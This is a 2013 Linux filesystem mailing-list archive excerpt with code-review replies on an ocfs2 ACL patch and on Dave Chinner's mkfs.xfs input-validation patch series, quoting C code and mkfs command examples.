linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: Re: [PATCH 12/18] ocfs2: use generic posix ACL infrastructure Message-ID: <20131202230007.GK12253@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH 12/18] ocfs2: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> <20131201120655.852590677@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131201120655.852590677@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1386025209 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142793 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Sun 01-12-13 03:59:15, Christoph Hellwig wrote: > This contains some major refactoring for the create path so that > inodes are created with the right mode to start with instead of > fixing it up later. > > Signed-off-by: Christoph Hellwig ... > -int ocfs2_acl_chmod(struct inode *inode) > -{ > - struct ocfs2_super *osb = OCFS2_SB(inode->i_sb); > - struct posix_acl *acl; > - int ret; > - > - if (S_ISLNK(inode->i_mode)) > - return -EOPNOTSUPP; > - > - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) > - return 0; > - > - acl = ocfs2_get_acl(inode, ACL_TYPE_ACCESS); > - if (IS_ERR(acl) || !acl) > - return PTR_ERR(acl); > - ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > - if (ret) > - return ret; > - ret = ocfs2_set_acl(NULL, inode, NULL, ACL_TYPE_ACCESS, > - acl, NULL, NULL); > - posix_acl_release(acl); > - return ret; > -} ... > diff --git a/fs/ocfs2/file.c b/fs/ocfs2/file.c > index 6fff128..ac371ad 100644 > --- a/fs/ocfs2/file.c > +++ b/fs/ocfs2/file.c > @@ -1236,7 +1236,7 @@ bail: > dqput(transfer_to[qtype]); > > if (!status && attr->ia_valid & ATTR_MODE) { > - status = ocfs2_acl_chmod(inode); > + status = posix_acl_chmod(inode); > if (status < 0) > mlog_errno(status); > } Hum, this changes the cluster locking. Previously ocfs2_acl_get() used from ocfs2_acl_chmod() grabbed cluster wide inode lock. Now getting of ACL isn't protected by the inode lock. That being said the cluster locking around setattr looks fishy anyway - if two processes on different nodes are changing attributes of the same file, changing ACLs post fact after dropping inode lock could cause interesting effects. Also I'm wondering how inode_change_ok() can ever be safe without holding inode lock... Until we grab that other node is free to change e.g. owner of the inode thus leading even to security implications. But maybe I'm missing something. Mark, Joel? Honza -- Jan Kara SUSE Labs, CR From david@fromorbit.com Mon Dec 2 17:12:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4A23029DF9 for ; Mon, 2 Dec 2013 17:12:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E71E5AC004 for ; Mon, 2 Dec 2013 15:12:45 -0800 (PST) X-ASG-Debug-ID: 1386025963-04bdf06eee494da0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 3WepkqEEOZP3To79 for ; Mon, 02 Dec 2013 15:12:44 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApAIAJITnVJ5LHyk/2dsb2JhbABZgweEBbAfhU6BJRd0giUBAQQBIw8BIyMQCAMOBwMCAgUhAgIPBSUDIROHewWwM5BKFoETjV8Hgms1gRMDmBOSFIM9KIEuJA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 09:42:05 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vnceo-0007gi-QO; Tue, 03 Dec 2013 10:12:02 +1100 Date: Tue, 3 Dec 2013 10:12:02 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 04/15] mkfs: validate all input values Message-ID: <20131202231202.GA10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 04/15] mkfs: validate all input values References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-5-git-send-email-david@fromorbit.com> <20131202170420.GA14935@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20131202170420.GA14935@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386025963 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142793 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 02, 2013 at 09:04:20AM -0800, Christoph Hellwig wrote: > On Fri, Nov 29, 2013 at 12:43:39PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > Right now, mkfs does a poor job of input validation of values. Many > > parameters do not check for trailing garbage and so will pass > > obviously invalid values as OK. Some don't even detect completely > > invalid values, leaving it for other checks later on to fail due to > > a bad value conversion - these tend to rely on atoi() implicitly > > returning a sane value when it is passed garbage, and atoi gives no > > guarantee of the return value when passed garbage. > > Would be useful to have a test case for some of these garbage values.. Yes, I need to write a script that tests a large number of valid/invalid command line options to make sure I haven't broken random stuff. The conflicts part is the fun bit... But, in general, stuff like this is what I'm trying to prevent: # mkfs.xfs -d agcount=32fdsglkjg /dev/vda will take that as a valid parameter with a value of 32.... > > Finally, the block size of the filesystem is not known until all > > the options have been parsed and we can determine if the default is > > to be used. This means any parameter that relies on using conversion > > from filesystem block size (the "NNNb" format) requires the block > > size to first be specified on the command line so it is known. > > > > Similarly, we make the same rule for specifying counts in sectors. > > This is a change from the existing behaviour that assumes sectors > > are 512 bytes unless otherwise changed on the command line. This, > > unfortunately, leads to complete silliness where you can specify the > > sector size as a count of sectors. It also means that you can do > > some conversions with 512 byte sector sizes, and others with > > whatever was specified on the command line, meaning the mkfs > > behaviour changes depending in where in the command line the sector > > size is changed.... > > I wonder if this might break some existing uses. The whole notion of > 512byte sectors is so ingrained in most people that this doesn't sound > as stupid as it is. > > Maybe just warn about that particular case for now instead of outright > rejecting it? How does this make sense, though? # mkfs.xfs -s size=4s /dev/vda Specifying the sector size in *sectors* is currently considered a valid thing to do. That's insane and fundamentally broken, because this # mkfs.xfs -b size=4s -s size=2s /dev/vda results in the block size conversion using a 512 byte sector size, and everything else using a 1024 byte sector size for conversions. e.g: # mkfs.xfs -b size=4s -s size=2s -n size=2s /dev/vda results in a block size of 2k (4*512) and a directory block size of 2k (2*1024). i.e. the result of unit conversion is dependent on where the sector size is specified on the command line! > > + creds.cr_uid = getnum(getstr(pp), 0, 0, false); > > + creds.cr_gid = getnum(getstr(pp), 0, 0, false); > > Not that I really care deeply, but requiring uids to be numeric seems a > little silly. Maybe we should put accepting user and groups names on a > beginners todo list somewhere. Yup, seems like a goo idea to support that... > > > +long long > > +getnum( > > + const char *str, > > + unsigned int blocksize, > > + unsigned int sectorsize, > > + bool convert) > > +{ > > + long long i; > > + char *sp; > > + > > + if (convert) > > + return cvtnum(blocksize, sectorsize, str); > > + > > + i = strtoll(str, &sp, 0); > > + if (i == 0 && sp == str) > > + return -1LL; > > + if (*sp != '\0') > > + return -1LL; /* trailing garbage */ > > + return i; > > +} > > So this function does two totally different things based on the last > parameter? Unless the answers is one of the next patches will fix it > thyink it should be split. That function grows a lot more checking of the values - min/max checking, conflict/respec checking, etc as everything gets converted to struct based checking. What I intended to do was remove cvtnum() altogether as it is now a direct copy of the cvtnum function in libxcmd/input.c::cvtnum() and just link against libxcmd. I haven't got that far yet - I might just move cvtnum into getnum() and be done with it.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 17:13:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9379A29DF9 for ; Mon, 2 Dec 2013 17:13:32 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3E2A7AC004 for ; Mon, 2 Dec 2013 15:13:32 -0800 (PST) X-ASG-Debug-ID: 1386026010-04bdf06eec494de0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id ZBYCbqzEbf5Nfx8i for ; Mon, 02 Dec 2013 15:13:30 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAJITnVJ5LHyk/2dsb2JhbABZgwe0JIVOgSUXdIIlAQEFOhwjEAgDDgcDCSUPBSUDIROIAMBmFxaOcgeDIIETA5gTkhSDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 09:43:05 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vncfn-0007gs-D9; Tue, 03 Dec 2013 10:13:03 +1100 Date: Tue, 3 Dec 2013 10:13:03 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 05/15] mkfs: factor boolean option parsing Message-ID: <20131202231303.GB10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 05/15] mkfs: factor boolean option parsing References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-6-git-send-email-david@fromorbit.com> <20131202104631.GD21394@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131202104631.GD21394@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386026010 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142793 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 02, 2013 at 02:46:31AM -0800, Christoph Hellwig wrote: > On Fri, Nov 29, 2013 at 12:43:40PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > Many of the options passed to mkfs have boolean options (0 or 1) and > > all hand roll the same code and validity checks. Factor these out > > into a common function. > > > > Note that the lazy-count option is now changed to match other > > booleans in that if you don't specify a value, it reverts to the > > default value (on) rather than throwing an error. Similarly the -m > > crc and -n ftype options default to off rather than throwing an > > error. > > Looks good, > > Reviewed-by: Christoph Hellwig > > Unrelated question that came up when reading through this patch: > > should we start deprecating some options that have long been the > default, like lazy-count or attrv1? Yes, we probably should. I'll put that at the end of the series when it's just a trivial case of adding a flag to the relevant options and adding a check and warning.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 17:14:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E5FCA29DF9 for ; Mon, 2 Dec 2013 17:14:51 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C76B5304092 for ; Mon, 2 Dec 2013 15:14:48 -0800 (PST) X-ASG-Debug-ID: 1386026087-04bdf06eec494e40001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id pAzaHzTwefQqUs4Y for ; Mon, 02 Dec 2013 15:14:47 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAJITnVJ5LHyk/2dsb2JhbABZgwe0JIVOgSUXdIIlAQEFOhwjEAgDDgcDCSUPBSUDIROIAMBmFxaOJE4HgyCBEwOYE5IUgz0ogS4k Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 09:44:41 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VnchI-0007iG-Hb; Tue, 03 Dec 2013 10:14:36 +1100 Date: Tue, 3 Dec 2013 10:14:36 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 06/15] mkfs: validate logarithmic parameters sanely Message-ID: <20131202231436.GC10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 06/15] mkfs: validate logarithmic parameters sanely References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-7-git-send-email-david@fromorbit.com> <20131202170601.GB14935@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131202170601.GB14935@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386026087 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142793 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 02, 2013 at 09:06:01AM -0800, Christoph Hellwig wrote: > On Fri, Nov 29, 2013 at 12:43:41PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > Testing logarithmic paramters like "-n log=" shows that we do a > > terrible job of validating such input. e.g.: > > > > # mkfs.xfs -f -n log=456858480 /dev/vda > > ..... > > naming =version 2 bsize=65536 ascii-ci=0 ftype=0 > > .... > > > > Yeah, I just asked for a block size of 2^456858480, and it didn't > > get rejected. Great, isn't it? > > > > So, factor out the parsing of logarithmic parameters, and pass in > > the maximum valid value that they can take. These maximum values > > might not be completely accurate (e.g. block/sector sizes will > > affect the eventual valid maximum) but we can get rid of all the > > overflows and stupidities before we get to fine-grained validity > > checking later in mkfs once things like block and sector sizes have > > been finalised. > > Btw, is there any good reason not to deprecate the logarithmic > parameters? I can't see why anyone would want to use them, but I see > lots of potential for confusion (happened to myself in the past). Yup, I can't see a good reason for keeping them. Indeed, we could just add a conversion identifier to indicate the value is in a power of 2 and have cvtnum() do the conversion for us... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 17:17:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D0EB77F51 for ; Mon, 2 Dec 2013 17:17:28 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5845EAC001 for ; Mon, 2 Dec 2013 15:17:28 -0800 (PST) X-ASG-Debug-ID: 1386026246-04cb6c537d48c7a0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id OouA7RkHcdc5zZdW for ; Mon, 02 Dec 2013 15:17:26 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IALoUnVJ5LHyk/2dsb2JhbABZgwe0JIVOgSUXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gAwGgXFo5yB4MggRMDmBOSFIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 09:46:53 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VncjQ-0007iS-Ro; Tue, 03 Dec 2013 10:16:48 +1100 Date: Tue, 3 Dec 2013 10:16:48 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 07/15] mkfs: structify input parameter passing Message-ID: <20131202231648.GD10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 07/15] mkfs: structify input parameter passing References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-8-git-send-email-david@fromorbit.com> <20131202171103.GC14935@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131202171103.GC14935@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386026246 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142794 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 02, 2013 at 09:11:03AM -0800, Christoph Hellwig wrote: > > + const char name; > > + const char *subopts[MAX_SUBOPTS]; > > + struct subopt_param { > > + int index; > > + long long minval; > > + long long maxval; > > + } subopt_params[MAX_SUBOPTS]; > > +}; > > Any reason to have a separate array for subopts instead of > moving it into struct subopt_param? getsubopt() requires a array of tokens for it's parsing, hence the separation of the subopts names and the related parameters. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 17:20:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EF4C329DF9 for ; Mon, 2 Dec 2013 17:20:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id DB3E8304097 for ; Mon, 2 Dec 2013 15:20:34 -0800 (PST) X-ASG-Debug-ID: 1386026432-04cb6c537e48c970001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 9tvYOV0zoulv4rWL for ; Mon, 02 Dec 2013 15:20:33 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IALoUnVJ5LHyk/2dsb2JhbABZgwe0JIVOgSUXdIIlAQEFOhwjEAgDDgcDCSUPBSUDIROIAMBoFxaOcgeDIIETA5gTkhSDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 09:50:30 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vncmy-0007jd-Hm; Tue, 03 Dec 2013 10:20:28 +1100 Date: Tue, 3 Dec 2013 10:20:28 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 12/15] mkfs: merge getnum Message-ID: <20131202232028.GE10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 12/15] mkfs: merge getnum References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-13-git-send-email-david@fromorbit.com> <20131202172233.GD28630@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131202172233.GD28630@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386026432 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142794 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 02, 2013 at 09:22:33AM -0800, Christoph Hellwig wrote: > On Fri, Nov 29, 2013 at 12:43:47PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > getnum() is now only called by getnum_checked(). Move the two > > together into a single getnum() function and change all the callers > > back to getnum(). > > So we now have two different getnums in mkfs now. Maybe the one in > proto.c should have a different name? Probably should. > > > +static long long > > +getnum( > > + const char *str, > > + unsigned int blksize, > > + unsigned int sectsize, > > + bool convert) > > +{ > > + long long i; > > + char *sp; > > + > > + if (convert) > > + return cvtnum(blksize, sectsize, str); > > Also the whole if convert is true sillyness lives on here. The caller > that wants cvtnum should just call it directly. Yes, but soon it doesn't just return the value directly ;) > > + else { > > + char *sp; > > + > > + c = strtoll(str, &sp, 0); > > + if (c == 0 && sp == str) > > + illegal_option(str, opts, index); > > + if (*sp != '\0') > > + illegal_option(str, opts, index); > > + } > > And given that the strtoll wrapping code is the same for both getnums > I suspect we shoud just have a mkfs_strtoll that gets called here, > and directly by the proto.c callers. I'll have a look at doing that once everything else falls out. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 17:22:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 33E5629DF9 for ; Mon, 2 Dec 2013 17:22:42 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BF74CAC009 for ; Mon, 2 Dec 2013 15:22:41 -0800 (PST) X-ASG-Debug-ID: 1386026559-04cb6c537c48cad0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id NHd2Ci9Oqzrwl9OC for ; Mon, 02 Dec 2013 15:22:39 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAOcVnVJ5LHyk/2dsb2JhbABZgwe0JIVOgSUXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gAwH4WjnIHgyCBEwOYE5IUgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 09:52:15 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VncoB-0007jl-Hm; Tue, 03 Dec 2013 10:21:43 +1100 Date: Tue, 3 Dec 2013 10:21:43 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 15/15] mkfs: don't treat files as though they are block devices Message-ID: <20131202232143.GF10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 15/15] mkfs: don't treat files as though they are block devices References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-16-git-send-email-david@fromorbit.com> <20131202172441.GF28630@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131202172441.GF28630@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386026559 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142794 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 02, 2013 at 09:24:41AM -0800, Christoph Hellwig wrote: > > void > > platform_flush_device(int fd, dev_t device) > > { > > - if (major(device) != RAMDISK_MAJOR) > > + struct stat64 st; > > + if (major(device) == RAMDISK_MAJOR) > > + return; > > + > > + if (fstat64(fd, &st) < 0) > > + return; > > + > > + if (S_ISREG(st.st_mode)) > > + fsync(fd); > > + else > > ioctl(fd, BLKFLSBUF, 0); > > } > > Given that fsync does the right thing for device on Linux aswell > I'd suggest we make this function call it all the time and get rid > of all the ramdisk magic. > > Should probabbly be a a separate patch. Yeah, I just shovelled all the fixes to problems I found into this patch, so it needs to be split up a bit more.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 17:25:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2520F29DF9 for ; Mon, 2 Dec 2013 17:25:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 066258F808F for ; Mon, 2 Dec 2013 15:25:09 -0800 (PST) X-ASG-Debug-ID: 1386026708-04bdf06eee4953c0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 7LGyM78FoJm908gx for ; Mon, 02 Dec 2013 15:25:08 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAOcVnVJ5LHyk/2dsb2JhbABZgwe0JIVOgSUXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gAwH4WjnIHhDMDmBOSFIM9KA Received: from 